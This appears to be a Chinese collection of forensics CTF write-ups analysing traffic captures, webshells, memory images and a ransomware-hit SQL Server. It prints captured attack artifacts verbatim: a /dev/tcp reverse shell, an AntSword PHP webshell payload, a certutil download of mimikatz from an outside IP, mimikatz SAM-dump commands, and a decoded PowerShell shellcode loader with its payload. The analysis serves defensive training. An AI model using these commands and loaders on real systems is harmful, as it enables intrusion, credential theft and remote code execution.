在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}

随便翻翻一篇红色和灰色,这是nmap正在扫描端口发送的TCP握手请求:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第172张

找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第173张

哪一个端口提供对web服务器管理面板的访问?flag格式:flag{2222}

使用以下过滤语句查看nmap扫描开放端口:

tcp.flags.reset ==1 && tcp.flags.ack == 0

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第174张

22是ssh服务,查看8080端口传输的流量并搜索关键词:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第175张

经过前面对攻击者行为的分析后,攻击者运用的工具是?flag格式:flag{名称}

追踪流分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第176张

攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?flag格式:flag{root-123}

分析追踪流,发现已成功获取反弹shell的流量:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第177张

往前分析,发现前面的http请求中有Authorization请求头用于携带身份验证凭据:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第178张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第179张

攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称?flag格式:flag{114514.txt}

由上题分析,反弹shell前的流量极有可能是恶意文件

攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息?flag提示,某种任务里的信息

根据上上题的分析,可以看出反弹shell命令中有持久化反弹shell的命令

/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
木马的连接密码是多少
答案格式:flag{密码}

分析http流:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第180张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第181张

标准蚁剑生成的马,利用的密码参数1就在开头

黑客执行的第一个命令是什么

思路一:追踪HTTP流可以分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第182张

第一条回显的是2c3f5uid=33(www-data) gid=33(www-data) groups=33(www-data)

可以推测第一条指令是id

思路二:解码请求数据

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第183张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第184张

一些 WebShell 工具(如蚁剑)在传输数据时,可能会包含额外的头部信息,比如控制字符、分隔符或者其他标识符。蚁剑会在编码前加两位随机生成的字符,因此开始位置为2.

黑客读取了哪个文件的内容,提交文件绝对路径

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第185张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第186张

黑客上传了什么文件到服务器,提交文件名

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第187张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第188张

黑客上传的文件内容是什么

将流量传输内容进行美化:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第189张

1 = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir)  ;
        $tmdir = $item."/.368479785";
        @mkdir($tmdir);
        if (!@file_exists($tmdir))  {
            continue;
        }

        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\|//", $tmdir);
        for($i = 0;
        $i < sizeof($cntarr);
        $i++) {
            @chdir("..");
        };
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out) {
    return $out;
};
function asoutput() 

ob_start();
try {
    $f = base64_decode(substr($_POST["t41ffbc5fb0c04"], 2));
    $c = $_POST["ld807e7193493d"];
    $c = str_replace("
", "", $c);
    $c = str_replace("
", "", $c);
    $buf = "";
    for($i = 0;
    $i < strlen($c);
    $i += 2)$buf .= urldecode("%".substr($c, $i, 2));
    echo(@fwrite(fopen($f, "a"), $buf)?"1":"0");;
} catch(Exception $e) ;
asoutput();
die();
&ld807e7193493d = 666C61677B77726974655F666C61677D0A
&t41ffbc5fb0c04 = 0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA == 

最后一段就是上传文件的内容,进行解码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第190张

黑客下载了哪个文件,提交文件绝对路径

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第191张

挂载/解压密码: KzXGabLkDjs&j@3a&fAayNmD

参考文章:【官方WP】第一届solar杯·应急响应挑战赛官方题解

题目文件:tomcat-wireshark.zip/web新手运维小王的Geoserver遭到了攻击:黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。

GeoServer 是一个 开源地理信息服务器(GIS Server),用于发布、共享和管理地理空间数据。它允许用户通过标准的网络协议(如 WMS、WFS、WMTS、WCS)来访问和操作空间数据。

进行流量分析,发现木马b.jsp

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第192张

在给出的网站根目录中也能找到这个木马文件:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第193张

当访问 JSP 页面时,Tomcat 会根据 JSP 页面动态生成一个 Java 类(.java),然后将其编译为 .class 文件。生成的 .class 文件是 Tomcat 用来处理请求并返回响应的实际代码。

这个过程是动态的,

Tomcat 会在后台管理这些文件的编译和更新。路径一般为:<Tomcat_home>/work/Catalina/<host>/<webapp>/org/apache/jsp/

找到b_jsp.class可以发现是哥斯拉自动生成的webshell木马:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第194张

哥斯拉webshell特征:

选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征

xc:AES 加密密钥(16 字节)

在整个 b.jsp 文件中,code 变量只是被定义了,但并没有被直接使用,也没有被传递给任何方法或函数。

进行解码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第195张

题目文件:tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击:小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。flag格式 flag{xxxx}

对流量进行过滤分析:

http.request.full_uri contains "b.jsp"

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第196张

根据得到的密钥使用蓝队工具进行解密:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第197张

找到读取flag.txt的流量:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第198张

对返回包进行解密:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第199张

题目文件:tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击:小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。使用流量解密工具进行解密流量并删除无用部分后另存为pdf。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第200张

可以发现上传的PDF文件,我们对其进行导出即可得到flag:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第201张

(目前没有找到有什么可以直接进行导出的工具,这里用的是puzzlesolver-pro)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第202张

用cyberchef的话就需要删除HEX前面不必要的部分,但我不知道如何分辨哪里必要哪里不必要:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第203张

请找到攻击者创建隐藏账户的时间flag格式 如 flag{2024/01/01 00:00:00}

检材:mssql.7z

上取证大师分析虚拟磁盘:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第204张

或者仿真虚拟机后(绕过登录密码)分析安全日志,重点分析4720事件:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第205张

为了获取密码,也可以:

找到对应的SAM文件及SYSTEM文件后(WindowsSystem32configSAMWindowsSystem32configSYSTEM)复制到我们物理机桌面,之后使用mimikatz提取密码,如下所示

privilege::debug
lsadump::sam/sam:SAM/system:SYSTEM

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第206张

提取出来的登陆密码a29f7623fd11550def0192de9246f46b如下所示,我们解密即可

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第207张

参考文章:2024第一届Solar杯应急响应挑战赛wp_solar应急响应wp-CSDN博客

请找到恶意文件的名称 flag格式 如 flag{.}

打开任务管理器对进程进行分析:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第208张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第209张

官方WP是用安全软件自动检测……

那么可以用包含本地病毒库的杀毒软件(如360、火绒等)进行分析(全盘扫描非常耗时……)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第210张

在相关目录中找到该软件……

请找到恶意文件的外联地址 flag格式 如 flag{1.1.1.1}

在恶意文件的配置config.json文件中可以看到外联的url为“sierting.com”:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第211张

dns解析得到外联地址IP

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第212张

或者用火绒剑在网络选项中进行分析……

请修复数据库flag格式 如 flag{xxxxx}

仿真系统桌面上能看到这些:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第213张

主机感染了勒索病毒,由于加密程序可能只对文件部分内容进行篡改,则可能在数据库文件恢复到部分数据。通过分析数据库的本地文件在C:Program FilesMicrosoft SQL ServerMSSQL13.MSSQLSERVERMSSQLDATA中:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第214张

数据库都被勒索软件修改并添加上了.X3rmENR07后缀,首先将后缀删除

import os

def remove_last_extension(folder_path):
    for filename in os.listdir(folder_path):
        file_path = os.path.join(folder_path, filename)
        if os.path.isfile(file_path):  # 确保是文件而不是文件夹
            new_name = '.'.join(filename.split('.')[:-1])  # 去掉最后一个后缀
            if new_name:  # 避免空文件名
                new_path = os.path.join(folder_path, new_name)
                os.rename(file_path, new_path)
                print(f'Renamed: {filename} -> {new_name}')

if __name__ == "__main__":
    folder = input("请输入要处理的文件夹路径: ").strip()
    if os.path.isdir(folder):
        remove_last_extension(folder)
    else:
        print("无效的文件夹路径!")

这里使用数据库修复工具D-Recovery SQL Server对数据库进行修复(以下为官方WP):

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第215张

选择被加密的数据库文件,在”选择参照mdf文件“中选择”【非题目】题mssql-备份数据库(可能会用到)“中的纯表结构文件

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第216张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第217张

(DIDCTF貌似缺少【非题目】题mssql-备份数据库(可能会用到),因此做不出来)

另一个思路(原文地址:解答思路 | 2024第一届Solar杯应急响应挑战赛-CSDN博客)直接搜索关键词:

在tempdb_mssql_3.ndf.X3rmENR07发现flag。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第218张

搜索关键字:66 00 6C 00

请提交powershell命令中恶意文件的MD5 flag格式 如 flag{xxxxx}

打开事件查看器,分析powershell日志,发现可疑执行日志:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第219张

事件ID 400:PowerShell 运行空间(Runspace)已启动并初始化。

事件ID 600:PowerShell 运行空间(Runspace)已关闭或终止。

powershell.exe -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('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{0}')-f'A','f','M')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

  • New-Object System.IO.MemoryStream:用于 Base64 编码的字符串创建内存流。

  • System.IO.Compression.GzipStream:解压缩 Gzip 编码的数据流。

  • ReadToEnd():读取并执行解压后的数据内容。

解码发现内容是Gzip编码的数据流

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第220张

进行解码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第221张

function tWk {
    Param ($k0M, $ybp)
    # 获取 System.dll(用于访问 Win32 API)
    $f2w = ([AppDomain]::CurrentDomain.GetAssemblies() | 
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).
        GetType('Microsoft.Win32.UnsafeNativeMethods')

    # 获取 GetProcAddress API 的方法句柄(用于获取函数地址)
    return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).
        Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef(
            (New-Object IntPtr), 
            ($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M))
        ))), $ybp))
}

function lVhI5 {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8,  # 参数类型数组
        [Parameter(Position = 1)] [Type] $nZWM = [Void]               # 返回值类型,默认为 Void
    )

    # 创建动态程序集、模块和类(用于创建委托类型)
    $p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
        (New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
        [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
        DefineDynamicModule('InMemoryModule', $false).
        DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

    # 定义构造函数
    $p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).
        SetImplementationFlags('Runtime, Managed')

    # 定义方法
    $p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).
        SetImplementationFlags('Runtime, Managed')

    return $p8dl.CreateType()
}

# 解码 Base64 编码的 shellcode
[Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")

[Uint32]$uKrz = 0

# 申请内存(VirtualAlloc),用于存放 shellcode
$rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (tWk kernel32.dll VirtualAlloc), 
    (lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).
    Invoke([IntPtr]::Zero, $tUZml.Length, 0x3000, 0x04)

# 复制 shellcode 到分配的内存
[System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length)

# 修改内存权限(VirtualProtect),使 shellcode 可执行
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        (tWk kernel32.dll VirtualProtect), 
        (lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).
        Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) {

    # 创建新线程(CreateThread),执行 shellcode
    $yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        (tWk kernel32.dll CreateThread), 
        (lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).
        Invoke([IntPtr]::Zero, 0, $rS, [IntPtr]::Zero, 0, [IntPtr]::Zero)

    # 等待线程执行完成(WaitForSingleObject)
    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        (tWk kernel32.dll WaitForSingleObject), 
        (lVhI5 @([IntPtr], [Int32]))).
        Invoke($yfm6I, 0xffffffff) | Out-Null
}

恶意文件即为shellcode解码后的内容,我们解码后计算MD5即可:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第222张

题目文件:SERVER-2008-20241220-162057 请找到rdp连接的跳板地址 flag格式 flag{1.1.1.1}

使用volatility加载内存镜像,分析其网络连接状况:

volatility.exe -f SERVER-2008-20241220-162057.raw windows.netscan

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第223张

可以发现192.168.60.150的3389端口(远程桌面)连接到了192.168.60.220:34121svchost.exe 是 Windows 系统服务的宿主进程,可能与远程桌面服务相关。)

攻击者下载黑客工具的IP地址 flag格式 flag{1.1.1.1}

查看历史命令是否存在:

volatility.exe -f SERVER-2008-20241220-162057.raw windows.consoles
如果没有consoles插件就使用volatility2中的cmdscan

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第224张

可以发现执行过命令:

certutil -urlcache -split -f http://155.94.204.67:85/mimikatz.exe C:WindowsTempmi.exe
参数 作用 certutil Windows 证书管理工具,常被滥用于文件下载 -urlcache 访问远程 URL 并缓存文件 -split 处理大文件时分块下载 -f 强制下载文件(即使已有缓存) http://155.94.204.67:85/mimikatz.exe 目标 URL,提供 mimikatz.exe C:WindowsTempmi.exe 本地保存路径
黑客获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么 flag格式 flag{xxxx}

根据上一题的命令分析可以发现存在pass.txt文件,我们进行文件分析:

volatility.exe -f SERVER-2008-20241220-162057.raw windows.filescan

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第225张

将其dump导出:

volatility.exe -f SERVER-2008-20241220-162057.raw -o output windows.dumpfile --physaddr 0x7e4cedd0

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第226张

攻击者创建的用户 flag格式 flag{xxxx}

搜索并导出Security.evtx安全日志文件进行分析(搜索创建用户事件ID4720):

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第227张

攻击者利用跳板rdp登录的时间 flag格式 flag{2024/01/01 00:00:00}

继续在安全日志中分析该用户登录成功事件(ID4624):

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第228张

攻击者创建用户的密码哈希值 flag格式 flag{XXXX}

分析密码哈希转储:

volatility.exe -f SERVER-2008-20241220-162057.raw windows.hashdump

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第229张

题目文件:【题目】加密器逆向请逆向该加密器,解密机密文件flag格式 flag{XXXX}

莫得文件就先跳过了。

官方WP():

在createfileW处下断点,

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第230张

断住之后发现输入的参数为一个文件路径

跟踪发现这里使用随机数生成了六位密钥

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第231张

将生成的密钥%10,即生成0-9的密钥

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第232张

明显的rc4特征,rc4密钥初始化

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第233张

交换数组位置,这里就是利用key生成s盒,相当于

for i in 0..256 {
    j = (j + s[i]  + key[i % key.len()] ) % 256;
    s.swap(i, j);
}

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第234张

使用刚刚读取到的内容(v5),利用PRGA生成秘钥流并与密文字节异或,完成rc4加密

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第235张

生成字符串

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第236张

如下

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第237张

再次生成字符串

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第238张

如下

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第239张

将加密后的字符串和自解密生成的字符串拼接,其中自解密生成的字符串无实际用途,每次生成的都一样,仅为加密特征。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第240张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第241张

创建文件

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第242张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第243张

写入文件

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第244张

由于密钥是随机生成的,但是因为密钥只有6位而且取值为0-10,因此可以直接爆破出结果

import itertools
import os
from concurrent.futures.thread import ThreadPoolExecutor


def rc4(key, data):
    key_length = len(key)
    S = list(range(256))
    j = 0

    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]

    i = 0
    j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        result.append(byte ^ K)

    return result

def is_printable(data):
    try:
        return all(32 <= byte <= 126 for byte in data)
    except TypeError:
        return False

ciphertext = []#加密后的数据




def run(key_tuple ):
    key = list(key_tuple)
    decrypted_data = rc4(key, ciphertext)
    # 判断是否解密后的数据是可打印的
    if is_printable(decrypted_data):
        decrypted_string = ''.join(chr(byte) for byte in decrypted_data)
        if 'flag' in decrypted_string:
            print(f"找到有效密钥: {key} -> 解密结果: {decrypted_string}")
max_threads = os.cpu_count()*2
print(max_threads)
with ThreadPoolExecutor(max_workers=max_threads) as executor:
    executor.map(run, itertools.product(range(0, 10), repeat=6))

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第245张

其中加密后缀为一个假的flag,但是可以解出结果

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第246张

某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该网站号称使用”USTD币“购买所谓的"HT币”,受害人充值后不但“HT币”无法提现、交易,而且手机还被恶意软件锁定勒索。警方根据受害人提供的虚拟币交易网站调取了对应的服务器镜像并对案件展开侦查。 数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第247张

参考文章:第四届长安杯电子取证大赛个人总结_2022长安杯电子数据取证竞赛-CSDN博客、《数字取证实验》

WinHex 的主要功能:

  • 磁盘克隆、数据镜像
  • RAM 内存编辑:对内存信息直接编辑,如调试内存、编译程序等
  • 文件分析:分析文件格式、判断文件类型和数据格式
  • 擦除数据:可对磁盘填充 0 或随机数,是保证数据安全的最佳方式

X-Ways Forensics 与 WinHex 是包含关系。

X-Ways Forensics常规配置如下:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第248张

查看其容器:

